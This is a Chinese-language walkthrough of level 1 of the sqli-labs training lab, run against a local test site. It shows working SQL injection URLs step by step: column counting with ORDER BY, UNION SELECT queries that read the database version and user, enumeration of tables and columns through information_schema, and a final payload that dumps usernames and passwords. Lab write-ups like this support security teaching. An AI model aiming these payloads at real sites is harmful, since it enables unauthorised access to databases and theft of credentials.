Sqli-labs第一题详解
less1:
根據題目提示為單引號注入,先測試一下
果然報錯了,說明我們添加的單引號被數據庫成功解析,那我們就可以通過閉合id這個參數 ,然后構造自己的sql語句進行攻擊。一般可以使用聯合表的方式來提取自己想要的信息(union),但是使用union語句有個前提就是union 后面的語句必須與前面的語句字段數以及類型必須一直,否則數據庫會報錯。
那么知道這個我們就開始查字段吧
確定字段數一般可以使用order by 語句:
http://localhost/sqlilabs/Less-1/?id=1 order by 1 %23
執行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 2 %23
執行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 3 %23
執行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 4 %23
報錯:
//注意這里使用 # 是不行的,游覽器沒有幫我們編碼,所以我們自己編
%23 為#的url編碼,--+可以直接使用//
即只有三個字段,那么現在開始聯合查詢:
因為sql語句的執行結果只有第一行會被回顯在頁面上,所以我們要把原始語句的的結果 集變為空,這樣我們想要的結果才能顯示在界面上
同時又需要確定哪幾個字段會被顯示在頁面上:
可以看出2,3字段被顯示出來,
接著爆數據庫
看到數據庫名為:security,接著再查其他信息
http://localhost/sqli-labs/Less-1/ ?id='union select 1,2,concat_ws((char(32,58,32)),user(),database(),version())--+
這里我使用了concat_ws() 函數:
concat_ws(separator,str1,str2,…)
第一個參數是其它參數的分隔符。分隔符的位置放在要連 接的兩個字符串之間。分隔符可以是一個字符串,也可以是其它參數。
es:
select concat_ws(’,’ , ‘11’ , ‘22’ , ‘33’); 11,22,33
group_concat(): 使多行數據在一列顯示
char(32,58,32)對應ascill碼為空格:空格
user():返回當前數據庫連接使用的用戶
database():返回當前數據庫連接使用的數據庫
version():返回當前數據庫的版本
我們還要知道在Mysql中有information_schema這個庫,該庫存放了所有數據庫的信息。
information_schema.columns包含所有表的字段 table_schema 數據庫名 table_name 表名 column_name 列名 information_schema.tables包含所有庫的表名 table_schema 數據庫名 table_name 表名 information_schema.schemata包含所有數據庫的名 schema_name 數據庫名OK 得到這些信息之后我們再來看看數據庫有哪些表
http://localhost/sqli-labs/Less-1/ ?id='union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
可以看到有四張表,我們想要的信息基本都在user表下
我們對這張表爆列名:
http://localhost/sqli-labs/Less-1/ ?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
接著進行爆用戶信息
http://localhost/sqli-labs/Less-1/ ?id=' union select 1,group_concat(username),group_concat(password) from users --+
OKヾ(≧▽≦*)o 第一關到此結束。
總結
以上是生活随笔為你收集整理的Sqli-labs第一题详解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: PHP—文件与目录操作
- 下一篇: Xss-labs闯关总结